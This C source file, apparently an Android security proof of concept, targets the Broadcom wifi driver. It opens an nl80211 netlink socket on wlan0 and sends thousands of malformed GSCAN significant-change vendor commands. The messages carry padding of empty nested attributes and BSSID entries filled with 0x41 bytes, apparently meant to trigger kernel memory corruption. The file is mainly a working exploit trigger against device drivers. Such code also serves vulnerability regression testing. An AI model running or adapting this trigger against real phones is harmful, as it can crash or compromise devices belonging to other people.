C++程序  |  258行  |  8.71 KB

/**
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>

#include <netlink/netlink.h>
#include <netlink/genl/genl.h>
#include <netlink/genl/ctrl.h>
#include <net/if.h>
#include <linux/nl80211.h>

#define OUI_GOOGLE  0x001A11
#define ANDROID_NL80211_SUBCMD_RTT_RANGE_START 0x1100
#define F1_32 0x41414141
#define WL_CHANSPEC_BW_80               0x2000

enum wl_vendor_subcmd {
    BRCM_VENDOR_SCMD_UNSPEC,
    BRCM_VENDOR_SCMD_PRIV_STR,
    GSCAN_SUBCMD_GET_CAPABILITIES = 0x1000,
    GSCAN_SUBCMD_SET_CONFIG,
    GSCAN_SUBCMD_SET_SCAN_CONFIG,
    GSCAN_SUBCMD_ENABLE_GSCAN,
    GSCAN_SUBCMD_GET_SCAN_RESULTS,
    GSCAN_SUBCMD_SCAN_RESULTS,
    GSCAN_SUBCMD_SET_HOTLIST,
    GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
    GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
    GSCAN_SUBCMD_GET_CHANNEL_LIST,
    ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
    ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
    ANDR_WIFI_RANDOM_MAC_OUI,
    ANDR_WIFI_NODFS_CHANNELS,
    ANDR_WIFI_SET_COUNTRY,
    GSCAN_SUBCMD_SET_EPNO_SSID,
    WIFI_SUBCMD_SET_SSID_WHITELIST,
    WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
    WIFI_SUBCMD_ENABLE_LAZY_ROAM,
    WIFI_SUBCMD_SET_BSSID_PREF,
    WIFI_SUBCMD_SET_BSSID_BLACKLIST,
    GSCAN_SUBCMD_ANQPO_CONFIG,
    WIFI_SUBCMD_SET_RSSI_MONITOR,
    RTT_SUBCMD_SET_CONFIG = 0x1100,
    RTT_SUBCMD_CANCEL_CONFIG,
    RTT_SUBCMD_GETCAPABILITY,
    LSTATS_SUBCMD_GET_INFO = 0x1200,
    DEBUG_START_LOGGING = 0x1400,
    DEBUG_TRIGGER_MEM_DUMP,
    DEBUG_GET_MEM_DUMP,
    DEBUG_GET_VER,
    DEBUG_GET_RING_STATUS,
    DEBUG_GET_RING_DATA,
    DEBUG_GET_FEATURE,
    DEBUG_RESET_LOGGING,
    WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE = 0x1600,
    WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
    /* Add more sub commands here */
    VENDOR_SUBCMD_MAX
};

enum debug_attributes {
    DEBUG_ATTRIBUTE_GET_DRIVER,
    DEBUG_ATTRIBUTE_GET_FW,
    DEBUG_ATTRIBUTE_RING_ID,
    DEBUG_ATTRIBUTE_RING_NAME,
    DEBUG_ATTRIBUTE_RING_FLAGS,
    DEBUG_ATTRIBUTE_LOG_LEVEL,
    DEBUG_ATTRIBUTE_LOG_TIME_INTVAL,
    DEBUG_ATTRIBUTE_LOG_MIN_DATA_SIZE,
    DEBUG_ATTRIBUTE_FW_DUMP_LEN,
    DEBUG_ATTRIBUTE_FW_DUMP_DATA,
    DEBUG_ATTRIBUTE_RING_DATA,
    DEBUG_ATTRIBUTE_RING_STATUS,
    DEBUG_ATTRIBUTE_RING_NUM
};


enum gscan_attributes {
    GSCAN_ATTRIBUTE_NUM_BUCKETS = 10,
    GSCAN_ATTRIBUTE_BASE_PERIOD,
    GSCAN_ATTRIBUTE_BUCKETS_BAND,
    GSCAN_ATTRIBUTE_BUCKET_ID,
    GSCAN_ATTRIBUTE_BUCKET_PERIOD,
    GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS,
    GSCAN_ATTRIBUTE_BUCKET_CHANNELS,
    GSCAN_ATTRIBUTE_NUM_AP_PER_SCAN,
    GSCAN_ATTRIBUTE_REPORT_THRESHOLD,
    GSCAN_ATTRIBUTE_NUM_SCANS_TO_CACHE,
    GSCAN_ATTRIBUTE_BAND = GSCAN_ATTRIBUTE_BUCKETS_BAND,
    GSCAN_ATTRIBUTE_ENABLE_FEATURE = 20,
    GSCAN_ATTRIBUTE_SCAN_RESULTS_COMPLETE,
    GSCAN_ATTRIBUTE_FLUSH_FEATURE,
    GSCAN_ATTRIBUTE_ENABLE_FULL_SCAN_RESULTS,
    GSCAN_ATTRIBUTE_REPORT_EVENTS,
    /* remaining reserved for additional attributes */
    GSCAN_ATTRIBUTE_NUM_OF_RESULTS = 30,
    GSCAN_ATTRIBUTE_FLUSH_RESULTS,
    GSCAN_ATTRIBUTE_SCAN_RESULTS,                       /* flat array of wifi_scan_result */
    GSCAN_ATTRIBUTE_SCAN_ID,                            /* indicates scan number */
    GSCAN_ATTRIBUTE_SCAN_FLAGS,                         /* indicates if scan was aborted */
    GSCAN_ATTRIBUTE_AP_FLAGS,                           /* flags on significant change event */
    GSCAN_ATTRIBUTE_NUM_CHANNELS,
    GSCAN_ATTRIBUTE_CHANNEL_LIST,
    /* remaining reserved for additional attributes */
    GSCAN_ATTRIBUTE_SSID = 40,
    GSCAN_ATTRIBUTE_BSSID,
    GSCAN_ATTRIBUTE_CHANNEL,
    GSCAN_ATTRIBUTE_RSSI,
    GSCAN_ATTRIBUTE_TIMESTAMP,
    GSCAN_ATTRIBUTE_RTT,
    GSCAN_ATTRIBUTE_RTTSD,
    /* remaining reserved for additional attributes */
    GSCAN_ATTRIBUTE_HOTLIST_BSSIDS = 50,
    GSCAN_ATTRIBUTE_RSSI_LOW,
    GSCAN_ATTRIBUTE_RSSI_HIGH,
    GSCAN_ATTRIBUTE_HOSTLIST_BSSID_ELEM,
    GSCAN_ATTRIBUTE_HOTLIST_FLUSH,
    /* remaining reserved for additional attributes */
    GSCAN_ATTRIBUTE_RSSI_SAMPLE_SIZE = 60,
    GSCAN_ATTRIBUTE_LOST_AP_SAMPLE_SIZE,
    GSCAN_ATTRIBUTE_MIN_BREACHING,
    GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_BSSIDS,
    GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_FLUSH,
    /* EPNO */
    GSCAN_ATTRIBUTE_EPNO_SSID_LIST = 70,
    GSCAN_ATTRIBUTE_EPNO_SSID,
    GSCAN_ATTRIBUTE_EPNO_SSID_LEN,
    GSCAN_ATTRIBUTE_EPNO_RSSI,
    GSCAN_ATTRIBUTE_EPNO_FLAGS,
    GSCAN_ATTRIBUTE_EPNO_AUTH,
    GSCAN_ATTRIBUTE_EPNO_SSID_NUM,
    GSCAN_ATTRIBUTE_EPNO_FLUSH,
    /* Roam SSID Whitelist and BSSID pref */
    GSCAN_ATTRIBUTE_WHITELIST_SSID = 80,
    GSCAN_ATTRIBUTE_NUM_WL_SSID,
    GSCAN_ATTRIBUTE_WL_SSID_LEN,
    GSCAN_ATTRIBUTE_WL_SSID_FLUSH,
    GSCAN_ATTRIBUTE_WHITELIST_SSID_ELEM,
    GSCAN_ATTRIBUTE_NUM_BSSID,
    GSCAN_ATTRIBUTE_BSSID_PREF_LIST,
    GSCAN_ATTRIBUTE_BSSID_PREF_FLUSH,
    GSCAN_ATTRIBUTE_BSSID_PREF,
    GSCAN_ATTRIBUTE_RSSI_MODIFIER,
    /* Roam cfg */
    GSCAN_ATTRIBUTE_A_BAND_BOOST_THRESHOLD = 90,
    GSCAN_ATTRIBUTE_A_BAND_PENALTY_THRESHOLD,
    GSCAN_ATTRIBUTE_A_BAND_BOOST_FACTOR,
    GSCAN_ATTRIBUTE_A_BAND_PENALTY_FACTOR,
    GSCAN_ATTRIBUTE_A_BAND_MAX_BOOST,
    GSCAN_ATTRIBUTE_LAZY_ROAM_HYSTERESIS,
    GSCAN_ATTRIBUTE_ALERT_ROAM_RSSI_TRIGGER,
    GSCAN_ATTRIBUTE_LAZY_ROAM_ENABLE,
    /* BSSID blacklist */
    GSCAN_ATTRIBUTE_BSSID_BLACKLIST_FLUSH = 100,
    GSCAN_ATTRIBUTE_BLACKLIST_BSSID,
    GSCAN_ATTRIBUTE_ANQPO_HS_LIST = 110,
    GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE,
    GSCAN_ATTRIBUTE_ANQPO_HS_NETWORK_ID,
    GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM,
    GSCAN_ATTRIBUTE_ANQPO_HS_ROAM_CONSORTIUM_ID,
    GSCAN_ATTRIBUTE_ANQPO_HS_PLMN,
    /* Adaptive scan attributes */
    GSCAN_ATTRIBUTE_BUCKET_STEP_COUNT = 120,
    GSCAN_ATTRIBUTE_BUCKET_MAX_PERIOD,
    GSCAN_ATTRIBUTE_MAX
};


#define ETHER_ADDR_LEN 6
struct  __attribute__ ((packed)) _ether_addr {
    uint8_t octet[ETHER_ADDR_LEN];
};

static int l1;
static int l2;
static void test(struct nl_sock *socket, int d_id, int if_index)
{
    struct nl_msg *msg;
    struct nl_cb *cb;
    struct nl_msg *vendor_cmd, *nested_msg;
    struct nlattr *nl_vendor_cmds, *nested, *nested2, *nested3;
    int err, i, j = 0, k = 0,  ret;
    struct _ether_addr mac;
    memset(&mac, 0x41, sizeof(mac));

    // Allocate the messages and callback handler.
    for (j = l1; j < 1024; j++) {
        for(k = l2; k < 128; k++) {
            msg = nlmsg_alloc_size(16384);
            if (!msg) {
                exit(EXIT_FAILURE);
            }

            genlmsg_put(msg, 0, 0, d_id, 0, 0, NL80211_CMD_VENDOR, 0);
            nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
            nla_put_u32(msg, NL80211_ATTR_WIPHY, 0);
            nla_put_u64(msg, NL80211_ATTR_WDEV, 1);
            nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
            nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG);

            /* construct the vendor cmd */
            nl_vendor_cmds = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);

            nested = nla_nest_start(msg, GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_BSSIDS);
            for (i = 0; i < j; i++) {
                nested2 = nla_nest_start(msg, i);
                nla_nest_end(msg, nested2);
            }
            for (i = 0; i < k; i++) {
                nested2 = nla_nest_start(msg, i);
                nla_put(msg, GSCAN_ATTRIBUTE_BSSID, sizeof(mac), &mac);
                nla_put_u8(msg, GSCAN_ATTRIBUTE_RSSI_LOW, 0x41);
                nla_put_u8(msg, GSCAN_ATTRIBUTE_RSSI_HIGH, 0x41);
                nla_nest_end(msg, nested2);
            }
            nla_nest_end(msg, nested);
            nla_nest_end(msg, nl_vendor_cmds);

            nl_send_auto_complete(socket, msg);
            nlmsg_free(msg);
        }
    }
}

int main(int argc, char **argv)
{
    int if_index = if_nametoindex("wlan0"); // Use this wireless interface for scanning.
    l1 = 157;
    l2 = 0;
    // Open socket to kernel.
    struct nl_sock *socket = nl_socket_alloc();  // Allocate new netlink socket in memory.
    genl_connect(socket);  // Create file descriptor and bind socket.
    int driver_id = genl_ctrl_resolve(socket, "nl80211");  // Find the nl80211 driver ID.

    test(socket, driver_id, if_index);
}